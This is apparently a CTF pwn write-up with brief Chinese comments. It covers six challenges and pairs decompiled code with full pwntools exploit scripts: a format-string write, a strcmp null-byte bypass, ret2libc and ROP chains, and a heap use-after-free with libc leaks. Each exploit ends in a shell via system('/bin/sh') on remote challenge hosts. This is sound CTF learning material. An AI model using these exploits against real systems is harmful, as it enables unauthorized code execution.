Delulu

格式化字符串改低位两个字节就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4[2]; // [rsp+0h] [rbp-40h] BYREF
  __int64 buf[6]; // [rsp+10h] [rbp-30h] BYREF

  buf[5] = __readfsqword(0x28u);
  v4[0] = 322419390LL;
  v4[1] = (__int64)v4;
  memset(buf, 0, 32);
  read(0, buf, 0x1FuLL);
  printf("\n[!] Checking.. ");
  printf((const char *)buf);
  if ( v4[0] == 322420463 )
    delulu();
  else
    error("ALERT ALERT ALERT ALERT\n");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.255.150"
PORT = 53288 

elf = context.binary = ELF('./delulu')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = "%" + str(0xBEEF)+ "c%7$hn"

# ru(">>")
time.sleep(0.5)
s(payload)

p.interactive()

Writing on the Wall

过了这个cmp 就能拿到flag了,然后输入有七个字节,刚刚好能覆盖s2的低位一个字节,strcmp是根据 \x00来判断字符串结尾的,那输入 七个 \x00,cmp就能过了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[6]; // [rsp+Ah] [rbp-16h] BYREF
  char s2[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  *(_QWORD *)s2 = 0x2073736170743377LL;
  read(0, buf, 7uLL);
  if ( !strcmp(buf, s2) )
    open_door();
  else
    error("You activated the alarm! Troops are coming your way, RUN!\n");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.253.78"
PORT = 37705

elf = context.binary = ELF('./writing_on_the_wall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b'\x00' * 7


time.sleep(1)
# g(p)
s(payload)

p.interactive()

Pet Companion

ret2libc

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[8]; // [rsp+0h] [rbp-40h] BYREF

  setup(argc, argv, envp);
  memset(buf, 0, sizeof(buf));
  write(1, "\n[!] Set your pet companion's current status: ", 0x2EuLL);
  read(0, buf, 0x100uLL);
  write(1, "\n[*] Configuring...\n\n", 0x15uLL);
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "94.237.55.185"
PORT = 59050

elf = context.binary = ELF('./pet_companion')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


# 0x000000000040073c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040073e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400740 : pop r14 ; pop r15 ; ret
# 0x0000000000400742 : pop r15 ; ret
# 0x0000000000400604 : pop rbp ; jmp 0x400590
# 0x000000000040057b : pop rbp ; mov edi, 0x601010 ; jmp rax
# 0x000000000040073b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040073f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400588 : pop rbp ; ret
# 0x0000000000400743 : pop rdi ; ret
# 0x0000000000400741 : pop rsi ; pop r15 ; ret
# 0x000000000040073d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x40064A

rdi = 0x400743
rsi_r15 = 0x400741
ret = 0x00000000004004de

payload = flat([
    b'a' * 0x48,
    rsi_r15,write_got,0,write_plt,main
])
sla("status:",payload)

ru("\n[*] Configuring...\n\n")
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['write']
success(f"libc_base ->{hex(libc_base)}")


system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))



payload = flat([
    b'a' * 0x48,
    rdi,binsh,system
])
sla("status:",payload)




p.interactive()

Rocket Blaster XXX

里面有一个和调用约定 传参顺序相关的小游戏,过了那个小游戏拿到flag

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

  banner(argc, argv, envp);
  memset(buf, 0, sizeof(buf));
  fflush(_bss_start);
  printf(
    "\n"
    "Prepare for trouble and make it double, or triple..\n"
    "\n"
    "You need to place the ammo in the right place to load the Rocket Blaster XXX!\n"
    "\n"
    ">> ");
  fflush(_bss_start);
  read(0, buf, 0x66uLL);
  puts("\nPreparing beta testing..");
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "94.237.51.96"
PORT = 40975

elf = context.binary = ELF('./rocket_blaster_xxx')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


rdi = 0x000000000040159f
rsi = 0x000000000040159d
rdx = 0x000000000040159b

fill_ammo = 0x4012FA

payload = flat([
    b"a" * 0x28,
    rdi,0x0DEADBEEF,rsi,0x0DEADBABE,rdx,0x0DEAD1337,fill_ammo
])


# g(p)
sa(">> ",payload)


print(len(payload))
p.interactive()

sound_of_silence

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  system("clear && echo -n '~The Sound of Silence is mesmerising~\n\n>> '");
  return gets(v4, argv);
}

没有输出函数,但是可以通过这一部分去利用

.text:0000000000401169 48 89 C7                      mov     rdi, rax                        ; command
.text:000000000040116C E8 DF FE FF FF                call    _system

gets完后rdi还是指向buf,如果buf中包含 /bin/sh的话,就会变成 system binsh,不过很奇怪,call system system里面会取buf后边部分,可能是rbp的问题

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "94.237.50.48"
PORT = 34509

elf = context.binary = ELF('./sound_of_silence')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()


target = 0x401169
ret = 0x000000000040101a

payload = b'a' * 0x20 + b'/bin/sh\x00'
payload += p64(target) 


# g(p)
sla(">> ",payload)

p.interactive()

deathnote

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 v3; // rax
  __int64 v5[12]; // [rsp+10h] [rbp-60h] BYREF

  v5[11] = __readfsqword(0x28u);
  memset(v5, 0, 80);
  while ( 1 )
  {
    while ( 1 )
    {
      v3 = menu();
      if ( v3 != 42 )
        break;
      _(v5);
    }
    if ( v3 > 0x2A )
    {
LABEL_13:
      error("Invalid choice!\n");
    }
    else if ( v3 == 3 )
    {
      show(v5);
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add(v5);
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        delete(v5);
      }
    }
  }
}

delete这里存在一个uaf

unsigned __int64 __fastcall delete(__int64 a1)
{
  unsigned __int8 num; // [rsp+17h] [rbp-9h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf(aPage);
  num = read_num();
  if ( (unsigned __int8)check_idx(num) == 1 )
  {
    if ( *(_QWORD *)(8LL * num + a1) )
      printf("%s\nRemoving page [%d]\n\n%s", "\x1B[1;32m", num, "\x1B[1;36m");
    else
      error("Page is already empty!\n");
    free(*(void **)(8LL * num + a1));
  }
  return v3 - __readfsqword(0x28u);
}

,然后存在一个backdoor函数

unsigned __int64 __fastcall _(__int64 a1)
{
  void (__fastcall *v2)(_QWORD); // [rsp+18h] [rbp-18h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("\x1B[1;33m");
  cls();
  printf(asc_2750, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;36m");
  v2 = (void (__fastcall *)(_QWORD))strtoull(*(const char **)a1, 0LL, 16);
  if ( v2 || **(_BYTE **)a1 == 48 || *(_BYTE *)(*(_QWORD *)a1 + 1LL) == 120 )
  {
    if ( !*(_QWORD *)a1 || !*(_QWORD *)(a1 + 8) )
    {
      error("What you are trying to do is unacceptable!\n");
      exit(1312);
    }
    puts(aExecuting);
    v2(*(_QWORD *)(a1 + 8));
  }
  else
  {
    puts("Error: Invalid hexadecimal string");
  }
  return v3 - __readfsqword(0x28u);
}

通过unsortedbin 泄露libc后,保证chunklist1中udata的位置是system的地址,2的内容是binsh,就能执行system binsh,其中有一个 0x的判断 但是strtoull(*(const char **)a1, 0LL, 16); 这里可以绕过,输入一个不包含 0x的十六进制数字字符串就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.255.230"
PORT = 34980

elf = context.binary = ELF('./deathnote')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



def add(idx,size,content):
    sla("💀","1")
    sla("💀",str(size))
    sla("💀",str(idx))
    sa("💀",content)

def delete(idx):
    sla("💀","2")
    sla("💀",str(idx))

def show(idx):
    sla("💀","3")
    sla("💀",str(idx))

def exit():
    sla("💀","42")

p = connect()


for i in range(9):
    add(i,0x80,"AAAA")

for i in range(8):
    delete(i)

# unsorted bin leak libc
show(7)
ru("Page content: ")
libc_base = u64(rl()[:-1].ljust(8,b'\x00')) - (0x73947561ace0 - 0x739475400000)

# leak heap_base
show(0)
ru("Page content: ")
key = u64(rl()[:-1].ljust(8,b'\x00'))
heap_base = key << 12

success(f"libc_base ->{hex(libc_base)}")
success(f"key ->{hex(key)}")
success(f"heap_base ->{hex(heap_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

print(str(hex(system))[2:])
payload = p64(0x68732f6e69622f)

add(0,0x80,str(hex(system))[2:])
add(1,0x80,payload)

# g(p)
exit()


p.interactive()
⬆︎TOP